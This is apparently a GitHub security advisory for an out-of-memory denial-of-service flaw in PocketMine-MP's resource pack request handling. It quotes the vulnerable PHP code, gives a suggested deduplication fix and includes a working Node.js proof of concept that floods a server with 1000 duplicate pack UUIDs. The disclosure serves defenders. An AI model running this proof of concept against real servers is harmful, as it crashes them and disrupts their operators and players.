A denial-of-service / out-of-memory vulnerability exists in the STATUS_SEND_PACKS
handling of ResourcePackClientResponsePacket
.
PocketMine-MP processes the packIds
array without verifying that all entries are unique.
A malicious (non-standard) Bedrock client can send multiple duplicate valid pack UUIDs in the same STATUS_SEND_PACKS
packet, causing the server to send the same pack multiple times. This can quickly exhaust memory and crash the server.
Severity: High — Remote DoS from an authenticated client.
Relevant code (simplified):
case ResourcePackClientResponsePacket::STATUS_SEND_PACKS:
foreach($packet->packIds as $uuid){
$splitPos = strpos($uuid, "_");
if($splitPos !== false){
$uuid = substr($uuid, 0, $splitPos);
}
$pack = $this->getPackById($uuid);
if(!($pack instanceof ResourcePack)){
$this->disconnectWithError("Unknown pack $uuid requested...");
return false;
}
$this->session->sendDataPacket(ResourcePackDataInfoPacket::create(
$pack->getPackId(),
self::PACK_CHUNK_SIZE,
(int) ceil($pack->getPackSize() / self::PACK_CHUNK_SIZE),
$pack->getPackSize(),
$pack->getSha256(),
false,
ResourcePackType::RESOURCES
));
}
break;
Root cause:
packIds
array is taken directly from the client packet and processed as-is.STATUS_SEND_PACKS
packet with many duplicates of a valid UUID.Why this is unexpected:
packIds
.Suggested fix: Before sending packs:
packIds
array.$alreadySent = $this->packsSent ?? [];
// Remove duplicates
$uniquePackIds = array_unique($packet->packIds);
// Detect abuse
if(count($packet->packIds) - count($uniquePackIds) > 2){
$this->disconnectWithError("Too many duplicate resource pack requests");
return false;
}
foreach($uniquePackIds as $uuid){
if(in_array($uuid, $alreadySent, true)){
continue; // Skip packs already sent to this player
}
// existing code...
$alreadySent[] = $uuid;
}
$this->packsSent = $alreadySent;
Using a custom Bedrock client, send a ResourcePackClientResponsePacket
with:
status = STATUS_SEND_PACKS
packIds
= many duplicates of a known valid pack UUID.Example Node.js PoC (requires bedrock-protocol
and a valid PACK_UUID
):
import { createClient } from 'bedrock-protocol';
const host = '127.0.0.1';
const port = 19132;
const username = 'test';
const PACK_UUID = '00000000-0000-0000-0000-000000000000'; // replace with a real UUID
const DUPLICATES = 1000;
const client = createClient({
host,
port,
username,
offline: true
});
client.on('spawn', () => {
console.log('[*] Sending duplicate pack request...');
client.queue('resource_pack_client_response', {
response_status: 'send_packs',
resourcepackids: Array(DUPLICATES).fill(PACK_UUID)
});
});
{ "github_reviewed": true, "cwe_ids": [ "CWE-770" ], "severity": "HIGH", "nvd_published_at": null, "github_reviewed_at": "2025-09-02T16:52:51Z" }